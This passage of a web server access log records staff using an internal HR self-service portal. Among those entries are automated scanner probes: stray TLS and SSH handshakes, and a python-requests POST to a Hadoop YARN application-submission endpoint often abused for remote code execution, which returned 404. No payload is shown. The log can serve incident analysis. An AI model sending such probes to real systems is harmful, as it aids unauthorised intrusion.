HTTP/1.1" 200 439 "-" "cypex.ai/scanning Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36" 100.64.0.1 - - [02/Dec/2025:11:33:16 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [02/Dec/2025:11:33:37 +0800] "GET / HTTP/1.1" 200 439 "-" "cypex.ai/scanning Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36" 100.64.0.1 - - [02/Dec/2025:11:33:37 +0800] "GET / HTTP/1.1" 200 439 192.168.11.125 - - [02/Dec/2025:11:34:19 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:19 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.125 - - [02/Dec/2025:11:34:19 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 - 192.168.11.125 - - [02/Dec/2025:11:34:19 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:19 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 - 192.168.11.125 - - [02/Dec/2025:11:34:19 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:19 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:19 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 304 - 192.168.11.125 - - [02/Dec/2025:11:34:19 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 304 - 192.168.11.125 - - [02/Dec/2025:11:34:19 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:19 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 192.168.11.125 - - [02/Dec/2025:11:34:19 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:19 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 304 - 192.168.11.125 - - [02/Dec/2025:11:34:19 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:19 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:19 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 192.168.11.125 - - [02/Dec/2025:11:34:19 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:19 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:19 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 192.168.11.125 - - [02/Dec/2025:11:34:19 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 192.168.11.125 - - [02/Dec/2025:11:34:19 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 304 - 192.168.11.125 - - [02/Dec/2025:11:34:19 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:19 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:19 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 304 - 192.168.11.125 - - [02/Dec/2025:11:34:19 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 - 192.168.11.125 - - [02/Dec/2025:11:34:19 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:19 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:19 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 304 - 192.168.11.125 - - [02/Dec/2025:11:34:19 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:19 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 304 - 192.168.11.125 - - [02/Dec/2025:11:34:19 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 192.168.11.125 - - [02/Dec/2025:11:34:19 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:19 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:19 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 - 192.168.11.125 - - [02/Dec/2025:11:34:19 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 192.168.11.125 - - [02/Dec/2025:11:34:19 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:19 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:19 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 - 192.168.11.125 - - [02/Dec/2025:11:34:19 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:19 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 - 192.168.11.125 - - [02/Dec/2025:11:34:19 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:19 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 192.168.11.125 - - [02/Dec/2025:11:34:19 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:19 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 192.168.11.125 - - [02/Dec/2025:11:34:19 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 192.168.11.125 - - [02/Dec/2025:11:34:19 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:19 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 192.168.11.125 - - [02/Dec/2025:11:34:19 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:19 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:19 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 192.168.11.125 - - [02/Dec/2025:11:34:19 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:19 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 192.168.11.125 - - [02/Dec/2025:11:34:20 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:20 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 192.168.11.125 - - [02/Dec/2025:11:34:21 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:21 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 192.168.11.125 - - [02/Dec/2025:11:34:21 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:21 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.125 - - [02/Dec/2025:11:34:26 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:26 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.125 - - [02/Dec/2025:11:34:27 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 192.168.11.125 - - [02/Dec/2025:11:34:27 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:27 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 192.168.11.125 - - [02/Dec/2025:11:34:27 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:27 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 192.168.11.125 - - [02/Dec/2025:11:34:27 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:27 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:27 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 192.168.11.125 - - [02/Dec/2025:11:34:27 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 200 3534 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:27 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 200 3534 192.168.11.125 - - [02/Dec/2025:11:34:27 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 192.168.11.125 - - [02/Dec/2025:11:34:27 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:27 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 192.168.11.125 - - [02/Dec/2025:11:34:27 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:27 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:27 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 192.168.11.125 - - [02/Dec/2025:11:34:27 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:27 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 304 - 192.168.11.125 - - [02/Dec/2025:11:34:27 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:27 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 304 - 192.168.11.125 - - [02/Dec/2025:11:34:27 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:27 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 192.168.11.125 - - [02/Dec/2025:11:34:27 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:27 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 192.168.11.125 - - [02/Dec/2025:11:34:27 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:27 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 192.168.11.125 - - [02/Dec/2025:11:34:27 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:27 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 192.168.11.125 - - [02/Dec/2025:11:34:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.125 - - [02/Dec/2025:11:34:28 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 304 - 192.168.11.125 - - [02/Dec/2025:11:34:28 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:28 +0800] "GET /eHR/js/functions.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:28 +0800] "GET /eHR/js/functions.js HTTP/1.1" 304 - 192.168.11.125 - - [02/Dec/2025:11:34:29 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:29 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 192.168.11.125 - - [02/Dec/2025:11:34:29 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:29 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 192.168.11.125 - - [02/Dec/2025:11:34:31 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:31 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 192.168.11.125 - - [02/Dec/2025:11:34:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44678 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44678 192.168.11.125 - - [02/Dec/2025:11:34:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 192.168.11.125 - - [02/Dec/2025:11:34:34 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:34:34 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 100.64.0.1 - - [02/Dec/2025:11:35:35 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [02/Dec/2025:11:35:35 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [02/Dec/2025:11:35:57 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [02/Dec/2025:11:35:57 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [02/Dec/2025:11:38:26 +0800] "SSH-2.0-Go" 501 212 100.64.0.1 - - [02/Dec/2025:11:38:26 +0800] "SSH-2.0-Go" 501 212 "-" "-" 100.64.0.1 - - [02/Dec/2025:11:38:50 +0800] "SSH-2.0-Go" 501 212 100.64.0.1 - - [02/Dec/2025:11:38:50 +0800] "SSH-2.0-Go" 501 212 "-" "-" 100.64.0.1 - - [02/Dec/2025:11:40:55 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [02/Dec/2025:11:40:55 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [02/Dec/2025:11:41:16 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [02/Dec/2025:11:41:16 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [02/Dec/2025:11:44:14 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 100.64.0.1 - - [02/Dec/2025:11:44:14 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "python-requests/2.22.0" 192.168.11.135 - - [02/Dec/2025:11:47:05 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:11:47:05 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.135 - - [02/Dec/2025:11:47:09 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:11:47:09 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.135 - - [02/Dec/2025:11:47:14 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:11:47:14 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.135 - - [02/Dec/2025:11:47:15 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:11:47:15 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.135 - - [02/Dec/2025:11:47:20 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:11:47:20 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.135 - - [02/Dec/2025:11:47:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 